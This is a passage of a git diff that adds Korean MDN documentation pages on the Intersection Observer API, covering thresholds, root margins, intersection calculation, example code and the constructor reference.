+ 기본값은 <code>0</code>이며(이는 요소가 1픽셀이라도 보이자 마자 콜백이 실행됨을 의미합니다). <code>1.0</code>은 요소의 모든 픽셀이 화면에 노출되기 전에는 콜백을 실행시키지 않음을 의미합니다.</dd>
+</dl>
+
+<h4 id="Targeting_an_element_to_be_observed">Targeting an element to be observed</h4>
+
+<p>Once you have created the observer, you need to give it a target element to watch:</p>
+
+<pre class="brush: js">let target = document.querySelector('#listItem');
+observer.observe(target);
+
+// the callback we setup for the observer will be executed now for the first time
+// it waits until we assign a target to our observer (even if the target is currently not visible)
+</pre>
+
+<p>Whenever the target meets a threshold specified for the <code>IntersectionObserver</code>, the callback is invoked. The callback receives a list of {{domxref("IntersectionObserverEntry")}} objects and the observer:</p>
+
+<pre class="brush: js">let callback = (entries, observer) =&gt; {
+  entries.forEach(entry =&gt; {
+    // Each entry describes an intersection change for one observed
+    // target element:
+    //   entry.boundingClientRect
+    //   entry.intersectionRatio
+    //   entry.intersectionRect
+    //   entry.isIntersecting
+    //   entry.rootBounds
+    //   entry.target
+    //   entry.time
+  });
+};
+</pre>
+
+<p>Be aware that your callback is executed on the main thread. It should operate as quickly as possible; if anything time-consuming needs to be done, use {{domxref("Window.requestIdleCallback()")}}.</p>
+
+<p>Also, note that if you specified the <code>root</code> option, the target must be a descendant of the root element.</p>
+
+<h3 id="How_intersection_is_calculated">How intersection is calculated</h3>
+
+<p>All areas considered by the Intersection Observer API are rectangles; elements which are irregularly shaped are considered as occupying the smallest rectangle which encloses all of the element's parts. Similarly, if the visible portion of an element is not rectangular, the element's intersection rectangle is construed to be the smallest rectangle that contains all the visible portions of the element.</p>
+
+<p>It's useful to understand a bit about how the various properties provided by {{domxref("IntersectionObserverEntry")}} describe an intersection.</p>
+
+<h4 id="The_intersection_root_and_root_margin">The intersection root and root margin</h4>
+
+<p>Before we can track the intersection of an element with a container, we need to know what that container is. That container is the <strong>intersection root</strong>, or <strong>root element</strong>. This can be either a specific element in the document which is an ancestor of the element to be observed, or <code>null</code> to use the document's viewport as the container.</p>
+
+<p>The <strong><dfn>root intersection rectangle</dfn></strong> is the rectangle used to check against the target or targets. This rectangle is determined like this:</p>
+
+<ul>
+ <li>If the intersection root is the implicit root (that is, the top-level {{domxref("Document")}}), the root intersection rectangle is the viewport's rectangle.</li>
+ <li>If the intersection root has an overflow clip, the root intersection rectangle is the root element's content area.</li>
+ <li>Otherwise, the root intersection rectangle is the intersection root's bounding client rectangle (as returned by calling {{domxref("Element.getBoundingClientRect", "getBoundingClientRect()")}} on it).</li>
+</ul>
+
+<p>The root intersection rectangle can be adjusted further by setting the <strong>root margin</strong>, <code>rootMargin</code>, when creating the {{domxref("IntersectionObserver")}}. The values in <code>rootMargin</code> define offsets added to each side of the intersection root's bounding box to create the final intersection root bounds (which are disclosed in {{domxref("IntersectionObserverEntry.rootBounds")}} when the callback is executed).</p>
+
+<h4 id="Thresholds">Thresholds</h4>
+
+<p>Rather than reporting every infinitesimal change in how much a target element is visible, the Intersection Observer API uses <strong>thresholds</strong>. When you create an observer, you can provide one or more numeric values representing percentages of the target element which are visible. Then, the API only reports changes to visibility which cross these thresholds.</p>
+
+<p>For example, if you want to be informed every time a target's visibility passes backward or forward through each 25% mark, you would specify the array [0, 0.25, 0.5, 0.75, 1] as the list of thresholds when creating the observer. You can tell which direction the visibility changed in (that is, whether the element became more visible or less visible) by checking the value of the {{domxref("IntersectionObserverEntry.isIntersecting", "isIntersecting")}} property on the {{domxref("IntersectionObserverEntry")}} passed into the callback function at the time of the visibility change. If <code>isIntersecting</code> is <code>true</code>, the target element has become at least as visible as the threshold that was passed. If it's <code>false</code>, the target is no longer as visible as the given threshold.</p>
+
+<p>To get a feeling for how thresholds work, try scrolling the box below around. Each colored box within it displays the percentage of itself that's visible in all four of its corners, so you can see these ratios change over time as you scroll the container. Each box has a different set of thresholds:</p>
+
+<ul>
+ <li>The first box has a threshold for each percentage point of visibility; that is, the {{domxref("IntersectionObserver.thresholds")}} array is <code>[0.00, 0.01, 0.02, ..., 0.99, 1.00]</code>.</li>
+ <li>The second box has a single threshold, at the 50% mark.</li>
+ <li>The third box has thresholds every 10% of visibility (0%, 10%, 20%, etc.).</li>
+ <li>The last box has thresholds each 25%.</li>
+</ul>
+
+<div class="hidden">
+<h5 id="Threshold_example">Threshold example</h5>
+
+<pre class="brush: html">&lt;template id="boxTemplate"&gt;
+  &lt;div class="sampleBox"&gt;
+    &lt;div class="label topLeft"&gt;&lt;/div&gt;
+    &lt;div class="label topRight"&gt;&lt;/div&gt;
+    &lt;div class="label bottomLeft"&gt;&lt;/div&gt;
+    &lt;div class="label bottomRight"&gt;&lt;/div&gt;
+  &lt;/div&gt;
+&lt;/template&gt;
+
+&lt;main&gt;
+  &lt;div class="contents"&gt;
+    &lt;div class="wrapper"&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/main&gt;</pre>
+
+<pre class="brush: css">.contents {
+  position: absolute;
+  width: 700px;
+  height: 1725px;
+}
+
+.wrapper {
+  position: relative;
+  top: 600px;
+}
+
+.sampleBox {
+  position: relative;
+  left: 175px;
+  width: 150px;
+  background-color: rgb(245, 170, 140);
+  border: 2px solid rgb(201, 126, 17);
+  padding: 4px;
+  margin-bottom: 6px;
+}
+
+#box1 {
+  height: 200px;
+}
+
+#box2 {
+  height: 75px;
+}
+
+#box3 {
+  height: 150px;
+}
+
+#box4 {
+  height: 100px;
+}
+
+.label {
+  font: 14px "Open Sans", "Arial", sans-serif;
+  position: absolute;
+  margin: 0;
+  background-color: rgba(255, 255, 255, 0.7);
+  border: 1px solid rgba(0, 0, 0, 0.7);
+  width: 3em;
+  height: 18px;
+  padding: 2px;
+  text-align: center;
+}
+
+.topLeft {
+  left: 2px;
+  top: 2px;
+}
+
+.topRight {
+  right: 2px;
+  top: 2px;
+}
+
+.bottomLeft {
+  bottom: 2px;
+  left: 2px;
+}
+
+.bottomRight {
+  bottom: 2px;
+  right: 2px;
+}
+</pre>
+
+<pre class="brush: js">let observers = [];
+
+startup = () =&gt; {
+  let wrapper = document.querySelector(".wrapper");
+
+  // Options for the observers
+
+  let observerOptions = {
+    root: null,
+    rootMargin: "0px",
+    threshold: []
+  };
+
+  // An array of threshold sets for each of the boxes. The
+  // first box's thresholds are set programmatically
+  // since there will be so many of them (for each percentage
+  // point).
+
+  let thresholdSets = [
+    [],
+    [0.5],
+    [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0],
+    [0, 0.25, 0.5, 0.75, 1.0]
+  ];
+
+  for (let i=0; i&lt;=1.0; i+= 0.01) {
+    thresholdSets[0].push(i);
+  }
+
+  // Add each box, creating a new observer for each
+
+  for (let i=0; i&lt;4; i++) {
+    let template = document.querySelector("#boxTemplate").content.cloneNode(true);
+    let boxID = "box" + (i+1);
+    template.querySelector(".sampleBox").id = boxID;
+    wrapper.appendChild(document.importNode(template, true));
+
+    // Set up the observer for this box
+
+    observerOptions.threshold = thresholdSets[i];
+    observers[i] = new IntersectionObserver(intersectionCallback, observerOptions);
+    observers[i].observe(document.querySelector("#" + boxID));
+  }
+
+  // Scroll to the starting position
+
+  document.scrollingElement.scrollTop = wrapper.firstElementChild.getBoundingClientRect().top + window.scrollY;
+  document.scrollingElement.scrollLeft = 750;
+}
+
+intersectionCallback = (entries) =&gt; {
+  entries.forEach((entry) =&gt; {
+    let box = entry.target;
+    let visiblePct = (Math.floor(entry.intersectionRatio * 100)) + "%";
+
+    box.querySelector(".topLeft").innerHTML = visiblePct;
+    box.querySelector(".topRight").innerHTML = visiblePct;
+    box.querySelector(".bottomLeft").innerHTML = visiblePct;
+    box.querySelector(".bottomRight").innerHTML = visiblePct;
+  });
+}
+
+startup();
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("Threshold_example", 500, 500)}}</p>
+
+<h4 id="Clipping_and_the_intersection_rectangle">Clipping and the intersection rectangle</h4>
+
+<p>The browser computes the final intersection rectangle as follows; this is all done for you, but it can be helpful to understand these steps in order to better grasp exactly when intersections will occur.</p>
+
+<ol>
+ <li>The target element's bounding rectangle (that is, the smallest rectangle that fully encloses the bounding boxes of every component that makes up the element) is obtained by calling {{domxref("Element.getBoundingClientRect", "getBoundingClientRect()")}} on the target. This is the largest the intersection rectangle may be. The remaining steps will remove any portions that don't intersect.</li>
+ <li>Starting at the target's immediate parent block and moving outward, each containing block's clipping (if any) is applied to the intersection rectangle. A block's clipping is determined based on the intersection of the two blocks and the clipping mode (if any) specified by the {{cssxref("overflow")}} property. Setting <code>overflow</code> to anything but <code>visible</code> causes clipping to occur.</li>
+ <li>If one of the containing elements is the root of a nested browsing context (such as the document contained in an {{HTMLElement("iframe")}}, the intersection rectangle is clipped to the containing context's viewport, and recursion upward through the containers continues with the container's containing block. So if the top level of an <code>&lt;iframe&gt;</code> is reached, the intersection rectangle is clipped to the frame's viewport, then the frame's parent element is the next block recursed through toward the intersection root.</li>
+ <li>When recursion upward reaches the intersection root, the resulting rectangle is mapped to the intersection root's coordinate space.</li>
+ <li>The resulting rectangle is then updated by intersecting it with the <a href="/en-US/docs/Web/API/Intersection_Observer_API#root-intersection-rectangle">root intersection rectangle</a>.</li>
+ <li>This rectangle is, finally, mapped to the coordinate space of the target's {{domxref("document")}}.</li>
+</ol>
+
+<h3 id="Intersection_change_callbacks">Intersection change callbacks</h3>
+
+<p>When the amount of a target element which is visible within the root element crosses one of the visibility thresholds, the {{domxref("IntersectionObserver")}} object's callback is executed. The callback receives as input an array of all of <code>IntersectionObserverEntry</code> objects, one for each threshold which was crossed, and a reference to the <code>IntersectionObserver</code> object itself.</p>
+
+<p>Each entry in the list of thresholds is an {{domxref("IntersectionObserverEntry")}} object describing one threshold that was crossed; that is, each entry describes how much of a given element is intersecting with the root element, whether or not the element is considered to be intersecting or not, and the direction in which the transition occurred.</p>
+
+<p>The code snippet below shows a callback which keeps a counter of how many times elements transition from not intersecting the root to intersecting by at least 75%.</p>
+
+<pre class="brush: js">intersectionCallback(entries) =&gt; {
+  entries.forEach(entry =&gt; {
+    if (entry.isIntersecting) {
+      let elem = entry.target;
+
+      if (entry.intersectionRatio &gt;= 0.75) {
+        intersectionCounter++;
+      }
+    }
+  });
+}
+</pre>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver")}}</dt>
+ <dd>The primary interface for the Intersection Observer API. Provides methods for creating and managing an observer which can watch any number of target elements for the same intersection configuration. Each observer can asynchronously observe changes in the intersection between one or more target elements and a shared ancestor element or with their top-level {{domxref("Document")}}'s {{Glossary('viewport')}}. The ancestor or viewport is referred to as the <strong>root</strong>.</dd>
+ <dt>{{domxref("IntersectionObserverEntry")}}</dt>
+ <dd>Describes the intersection between the target element and its root container at a specific moment of transition. Objects of this type can only be obtained in two ways: as an input to your <code>IntersectionObserver</code> callback, or by calling {{domxref("IntersectionObserver.takeRecords()")}}.</dd>
+</dl>
+
+<h2 id="A_simple_example">A simple example</h2>
+
+<p>This simple example causes a target element to change its color and transparency as it becomes more or less visible. At <a href="/en-US/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Timing element visibility with the Intersection Observer API</a>, you can find a more extensive example showing how to time how long a set of elements (such as ads) are visible to the user and to react to that information by recording statistics or by updating elements..</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>The HTML for this example is very short, with a primary element which is the box that we'll be targeting (with the creative ID <code>"box"</code>) and some contents within the box.</p>
+
+<pre class="brush: html">&lt;div id="box"&gt;
+  &lt;div class="vertical"&gt;
+    Welcome to &lt;strong&gt;The Box!&lt;/strong&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<p>The CSS isn't terribly important for the purposes of this example; it lays out the element and establishes that the {{cssxref("background-color")}} and {{cssxref("border")}} attributes can participate in <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS transitions</a>, which we'll use to affect the changes to the element as it becomes more or less obscured.</p>
+
+<pre class="brush: css">#box {
+  background-color: rgba(40, 40, 190, 255);
+  border: 4px solid rgb(20, 20, 120);
+  transition: background-color 1s, border 1s;
+  width: 350px;
+  height: 350px;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  padding: 20px;
+}
+
+.vertical {
+  color: white;
+  font: 32px "Arial";
+}
+
+.extra {
+  width: 350px;
+  height: 350px;
+  margin-top: 10px;
+  border: 4px solid rgb(20, 20, 120);
+  text-align: center;
+  padding: 20px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>Finally, let's take a look at the JavaScript code that uses the Intersection Observer API to make things happen.</p>
+
+<h4 id="Setting_up">Setting up</h4>
+
+<p>First, we need to prepare some variables and install the observer.</p>
+
+<pre class="brush: js">const numSteps = 20.0;
+
+let boxElement;
+let prevRatio = 0.0;
+let increasingColor = "rgba(40, 40, 190, ratio)";
+let decreasingColor = "rgba(190, 40, 40, ratio)";
+
+// Set things up
+window.addEventListener("load", (event) =&gt; {
+  boxElement = document.querySelector("#box");
+
+  createObserver();
+}, false);</pre>
+
+<p>The constants and variables we set up here are:</p>
+
+<dl>
+ <dt><code>numSteps</code></dt>
+ <dd>A constant which indicates how many thresholds we want to have between a visibility ratio of 0.0 and 1.0.</dd>
+ <dt><code>prevRatio</code></dt>
+ <dd>This variable will be used to record what the visibility ratio was the last time a threshold was crossed; this will let us figure out whether the target element is becoming more or less visible.</dd>
+ <dt><code>increasingColor</code></dt>
+ <dd>A string defining a color we'll apply to the target element when the visibility ratio is increasing. The word "ratio" in this string will be replaced with the target's current visibility ratio, so that the element not only changes color but also becomes increasingly opaque as it becomes less obscured.</dd>
+ <dt><code>decreasingColor</code></dt>
+ <dd>Similarly, this is a string defining a color we'll apply when the visibility ratio is decreasing.</dd>
+</dl>
+
+<p>We call {{domxref("EventTarget.addEventListener", "Window.addEventListener()")}} to start listening for the {{event("load")}} event; once the page has finished loading, we get a reference to the element with the ID <code>"box"</code> using {{domxref("Document.querySelector", "querySelector()")}}, then call the <code>createObserver()</code> method we'll create in a moment to handle building and installing the intersection observer.</p>
+
+<h4 id="Creating_the_intersection_observer">Creating the intersection observer</h4>
+
+<p>The <code>createObserver()</code> method is called once page load is complete to handle actually creating the new {{domxref("IntersectionObserver")}} and starting the process of observing the target element.</p>
+
+<pre class="brush: js">function createObserver() {
+  let observer;
+
+  let options = {
+    root: null,
+    rootMargin: "0px",
+    threshold: buildThresholdList()
+  };
+
+  observer = new IntersectionObserver(handleIntersect, options);
+  observer.observe(boxElement);
+}</pre>
+
+<p>This begins by setting up an <code>options</code> object containing the settings for the observer. We want to watch for changes in visibility of the target element relative to the document's viewport, so <code>root</code> is <code>null</code>. We need no margin, so the margin offset, <code>rootMargin</code>, is specified as "0px". This causes the observer to watch for changes in the intersection between the target element's bounds and those of the viewport, without any added (or subtracted) space.</p>
+
+<p>The list of visibility ratio thresholds, <code>threshold</code>, is constructed by the function <code>buildThresholdList()</code>. The threshold list is built programmatically in this example since there are a number of them and the number is intended to be adjustable.</p>
+
+<p>Once <code>options</code> is ready, we create the new observer, calling the {{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}} constructor, specifying a function to be called when intersection crosses one of our thresholds, <code>handleIntersect()</code>, and our set of options. We then call {{domxref("IntersectionObserver.observe", "observe()")}} on the returned observer, passing into it the desired target element.</p>
+
+<p>We could opt to monitor multiple elements for visibility intersection changes with respect to the viewport by calling <code>observer.observe()</code> for each of those elements, if we wanted to do so.</p>
+
+<h4 id="Building_the_array_of_threshold_ratios">Building the array of threshold ratios</h4>
+
+<p>The <code>buildThresholdList()</code> function, which builds the list of thresholds, looks like this:</p>
+
+<pre class="brush: js">function buildThresholdList() {
+  let thresholds = [];
+  let numSteps = 20;
+
+  for (let i=1.0; i&lt;=numSteps; i++) {
+    let ratio = i/numSteps;
+    thresholds.push(ratio);
+  }
+
+  thresholds.push(0);
+  return thresholds;
+}</pre>
+
+<p>This builds the array of thresholds—each of which is a ratio between 0.0 and 1.0, by pushing the value <code>i/numSteps</code> onto the <code>thresholds</code> array for each integer <code>i</code> between 1 and <code>numSteps</code>. It also pushes 0 to include that value. The result, given the default value of <code>numSteps</code> (20), is the following list of thresholds:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>#</th>
+   <th>Ratio</th>
+   <th>#</th>
+   <th>Ratio</th>
+  </tr>
+  <tr>
+   <th>1</th>
+   <td>0.05</td>
+   <th>11</th>
+   <td>0.55</td>
+  </tr>
+  <tr>
+   <th>2</th>
+   <td>0.1</td>
+   <th>12</th>
+   <td>0.6</td>
+  </tr>
+  <tr>
+   <th>3</th>
+   <td>0.15</td>
+   <th>13</th>
+   <td>0.65</td>
+  </tr>
+  <tr>
+   <th>4</th>
+   <td>0.2</td>
+   <th>14</th>
+   <td>0.7</td>
+  </tr>
+  <tr>
+   <th>5</th>
+   <td>0.25</td>
+   <th>15</th>
+   <td>0.75</td>
+  </tr>
+  <tr>
+   <th>6</th>
+   <td>0.3</td>
+   <th>16</th>
+   <td>0.8</td>
+  </tr>
+  <tr>
+   <th>7</th>
+   <td>0.35</td>
+   <th>17</th>
+   <td>0.85</td>
+  </tr>
+  <tr>
+   <th>8</th>
+   <td>0.4</td>
+   <th>18</th>
+   <td>0.9</td>
+  </tr>
+  <tr>
+   <th>9</th>
+   <td>0.45</td>
+   <th>19</th>
+   <td>0.95</td>
+  </tr>
+  <tr>
+   <th>10</th>
+   <td>0.5</td>
+   <th>20</th>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>We could, of course, hard-code the array of thresholds into our code, and often that's what you'll end up doing. But this example leaves room for adding configuration controls to adjust the granularity, for example.</p>
+
+<h4 id="Handling_intersection_changes">Handling intersection changes</h4>
+
+<p>When the browser detects that the target element (in our case, the one with the ID <code>"box"</code>) has been unveiled or obscured such that its visibility ratio crosses one of the thresholds in our list, it calls our handler function, <code>handleIntersect()</code>:</p>
+
+<pre class="brush: js">function handleIntersect(entries, observer) {
+  entries.forEach((entry) =&gt; {
+    if (entry.intersectionRatio &gt; prevRatio) {
+      entry.target.style.backgroundColor = increasingColor.replace("ratio", entry.intersectionRatio);
+    } else {
+      entry.target.style.backgroundColor = decreasingColor.replace("ratio", entry.intersectionRatio);
+    }
+
+    prevRatio = entry.intersectionRatio;
+  });
+}</pre>
+
+<p>For each {{domxref("IntersectionObserverEntry")}} in the list <code>entries</code>, we look to see if the entry's {{domxref("IntersectionObserverEntry.intersectionRatio", "intersectionRatio")}} is going up; if it is, we set the target's {{cssxref("background-color")}} to the string in <code>increasingColor</code> (remember, it's <code>"rgba(40, 40, 190, ratio)"</code>), replaces the word "ratio" with the entry's <code>intersectionRatio</code>. The result: not only does the color get changed, but the transparency of the target element changes, too; as the intersection ratio goes down, the background color's alpha value goes down with it, resulting in an element that's more transparent.</p>
+
+<p>Similarly, if the <code>intersectionRatio</code> is going down, we use the string <code>decreasingColor</code> and replace the word "ratio" in that with the <code>intersectionRatio</code> before setting the target element's <code>background-color</code>.</p>
+
+<p>Finally, in order to track whether the intersection ratio is going up or down, we remember the current ratio in the variable <code>prevRatio</code>.</p>
+
+<h3 id="Result">Result</h3>
+
+<p>Below is the resulting content. Scroll this page up and down and notice how the appearance of the box changes as you do so.</p>
+
+<p>{{EmbedLiveSample('A_simple_example', 400, 400)}}</p>
+
+<p>There's an even more extensive example at <a href="/en-US/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Timing element visibility with the Intersection Observer API</a>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('IntersectionObserver')}}</td>
+   <td>{{Spec2('IntersectionObserver')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.IntersectionObserver")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://github.com/w3c/IntersectionObserver">Intersection Observer polyfill</a></li>
+ <li><a href="/en-US/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Timing element visibility with the Intersection Observer API</a></li>
+ <li>{{domxref("IntersectionObserver")}} and {{domxref("IntersectionObserverEntry")}}</li>
+</ul>
diff --git a/files/ko/web/api/intersectionobserver/index.html b/files/ko/web/api/intersectionobserver/index.html
new file mode 100644
index 0000000000..762fd3ac09
--- /dev/null
+++ b/files/ko/web/api/intersectionobserver/index.html
@@ -0,0 +1,97 @@
+---
+title: IntersectionObserver
+slug: Web/API/IntersectionObserver
+tags:
+  - API
+  - Experimental
+  - Interface
+  - Intersection Observer API
+  - IntersectionObserver
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - observers
+translation_of: Web/API/IntersectionObserver
+---
+<div>{{APIRef("Intersection Observer API")}}</div>
+
+<p><a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer API</a> 의 <code><strong>IntersectionObserver</strong></code> 인터페이스는 대상 요소와 그 상위 요소 혹은 최상위 도큐먼트인 <span class="seoSummary">{{Glossary('viewport')}}</span>와의 교차 영역에 대한 변화를 비동기적으로 감지할 수 있도록 도와줍니다.</p>
+
+<p> <code>IntersectionObserver</code> 가 생성되면, 루트 내에서 설정된 비율 만큼의 가시성을 계속 감시하도록 설정됩니다. 한번 생성되고 나면, 설정 값은 변경될 수 없으므로, 생성된 감시자 객체는 가시성 정도의 변화를 감시하는 데에만 쓰일 수 있습니다. 하지만 동일한 감시자 객체로 여러 대상 요소를 감시할 수 있습니다.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver.IntersectionObserver()")}}</dt>
+ <dd><code>IntersectionObserver</code> 객체를 생성합니다. 해당 객체는 대상 요소의 가시성이 하나 이상의 설정된 정도 값을 넘을 경우 주어진 콜백 함수를 실행합니다.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver.root")}} {{readonlyinline}}</dt>
+ <dd>대상 요소 ({{domxref("element")}}) 를 감시할 상위 요소. 값을 넣지 않거나 <code>null</code> 일 경우, 최상위 문서의 뷰포트가 사용된다.</dd>
+ <dt>{{domxref("IntersectionObserver.rootMargin")}} {{readonlyinline}}</dt>
+ <dd>교차 정도를 계산할 때 루트의 {{Glossary('bounding box')}} 에 적용되는 offset 사각형으로, 루트의 범위를 효과적으로 늘리거나 줄입니다. 이 특성이 반환한 값은, 생성자를 호출 할 때 내부 요구 사항에 맞게 변경 될 수 있으므로 지정된 값과 같지 않을 수 있습니다. 각 offset 은 픽셀(<code>px</code>) 혹은 퍼센트(<code>%</code>)로 표기될 수 있습니다. 기본 값은 "0px 0px 0px 0px" 입니다.</dd>
+ <dt>{{domxref("IntersectionObserver.thresholds")}} {{readonlyinline}}</dt>
+ <dd>임계값 목록. 숫자의 오름차순으로 정렬되며, 각 임계 값은 감시하는 대상의 경계 상자 영역과의 교차 비율입니다. 대상에 대한 알림은 해당 대상에 대한 임계 값이 초과 될 때 생성됩니다. 생성자에 값이 전달되지 않을 경우 0이 사용됩니다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver.disconnect()")}}</dt>
+ <dd><code>IntersectionObserver</code> 가 어떤 대상이라도 감시하는 것을 중지합니다.</dd>
+ <dt>{{domxref("IntersectionObserver.observe()")}}</dt>
+ <dd>대상 요소에 대한 감시를 시작합니다.</dd>
+ <dt>{{domxref("IntersectionObserver.takeRecords()")}}</dt>
+ <dd>모든 감시되는 대상의 배열 ({{domxref("IntersectionObserverEntry")}}) 을 리턴합니다.</dd>
+ <dt>{{domxref("IntersectionObserver.unobserve()")}}</dt>
+ <dd>특정 대상 요소를 감시하는 것을 중지합니다.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">var intersectionObserver = new IntersectionObserver(function(entries) {
+  // If intersectionRatio is 0, the target is out of view
+  // and we do not need to do anything.
+  if (entries[0].intersectionRatio &lt;= 0) return;
+
+  loadItems(10);
+  console.log('Loaded new items');
+});
+// start observing
+intersectionObserver.observe(document.querySelector('.scrollerFooter'));</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("IntersectionObserver", "#intersection-observer-interface", "IntersectionObserver")}}</td>
+   <td>{{Spec2('IntersectionObserver')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.IntersectionObserver")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref('MutationObserver')}}</li>
+ <li>{{domxref('PerformanceObserver')}}</li>
+ <li>{{domxref('ResizeObserver')}}</li>
+</ul>
diff --git a/files/ko/web/api/intersectionobserver/intersectionobserver/index.html b/files/ko/web/api/intersectionobserver/intersectionobserver/index.html
new file mode 100644
index 0000000000..6f89828d16
--- /dev/null
+++ b/files/ko/web/api/intersectionobserver/intersectionobserver/index.html
@@ -0,0 +1,87 @@
+---
+title: IntersectionObserver.IntersectionObserver()
+slug: Web/API/IntersectionObserver/IntersectionObserver
+tags:
+  - API
+  - Constructor
+  - Intersection Observer API
+  - IntersectionObserver
+  - Reference
+translation_of: Web/API/IntersectionObserver/IntersectionObserver
+---
+<div>{{APIRef("Intersection Observer API")}}</div>
+
+<p><span class="seoSummary"><strong><code>IntersectionObserver()</code></strong> 생성자는 새로운 {{domxref("IntersectionObserver")}} 객체를 생성하고 반환합니다.</span> <code>rootMargin</code> 옵션을 지정했다면 값의 구문이 맞는지, 범위가 0.0 이상 1.0 이하인지, 그리고 역치가 오름차순으로 정렬됐는지 검사합니다. 역치 목록이 없다면 배열 <code>[0.0]</code>을 사용합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new IntersectionObserver(<em>callback</em>[, <em>options</em>]);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>대상 요소의 화면에 보이는 부분 백분율이 역치보다 클 때 호출할 함수입니다. 다음의 두 매개변수를 받습니다.
+ <dl>
+  <dt><code>entries</code></dt>
+  <dd>더 보이거나 덜 보이게 되면서 통과한 역치를 나타내는, {{domxref("IntersectionObserverEntry")}} 객체의 배열.</dd>
+  <dt><code>observer</code></dt>
+  <dd>자신을 호출한 {{domxref("IntersectionObserver")}}.</dd>
+ </dl>
+ </dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>옵저버를 조정할 수 있는 옵션 객체. 지정하지 않는다면 옵저버는 문서의 뷰포트를 루트로 사용하고, 여백은 없이, 역치는 0(1픽셀이라도 변하면 콜백을 호출)이 됩니다. 아래 옵션을 자유롭게 지정할 수 있습니다.
+ <dl>
+  <dt><code>root</code></dt>
+  <dd>대상 요소의 조상인 {{domxref ( "Element")}} 객체는 경계 사각형이 뷰포트로 간주됩니다. 루트의 가시 영역에 보이지 않는 대상의 어떤 부분도 가시적 인 것으로 간주되지 않습니다.</dd>
+  <dt><code>rootMargin</code></dt>
+  <dd>교차점을 계산할 때, 계산 목적으로 루트를 줄이거나 늘리는 경우, 루트의 {{Glossary ( 'bounding_box')}}에 추가 할 오프셋 세트를 지정하는 문자열입니다. 구문은 CSS {{cssxref ( "margin")}} 속성의 구문과 거의 동일합니다. 여백의 작동 방식 및 구문에 대한 자세한 내용은 {{SectionOnPage("/en-US/docs/Web/API/Intersection_Observer_API", "The root element and root margin")}}을 참조하십시오. 기본 설정은 "0px 0px 0px 0px"입니다.</dd>
+  <dt></dt>
+  <dt><code>threshold</code></dt>
+  <dd>관측 대상에 대한 전체 상자 영역(루트)에 대한 교차 영역의 비율을 지정하며, 0.0과 1.0 사이의 숫자 하나 혹은 숫자 배열입니다. 0.0 값은 대상의 단일 픽셀이라도 보여지면, 대상이 보이는 것으로 계산되는 것을 의미합니다. 1.0은 전체 대상 요소가 표시됨을 의미합니다. 임계 값 사용 방법에 대한 자세한 설명은 {{SectionOnPage("/en-US/docs/Web/API/Intersection_Observer_API", "Thresholds")}}를 참조하십시오. 기본값은 0.0입니다.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>지정된 가시성 <code>threshold</code> 를 통해 지정된 <code>root</code> 내에서 대상 요소의 가시성을 감시하는 데 사용할 수있는 {{domxref ( "IntersectionObserver")}} 인스턴스가 반환됩니다. {{domxref ( "IntersectionObserver.observe", "observe()")}} 메소드를 호출하여 지정된 대상의 가시성 변경을 관찰하십시오.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>설정된 <code>rootMargin</code> 이 유효하지 않은 경우.</dd>
+ <dt><code>RangeError</code></dt>
+ <dd>하나 혹은 그 이상의 <code>threshold</code> 가 0.0 - 1.0 사이가 아닌 경우</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
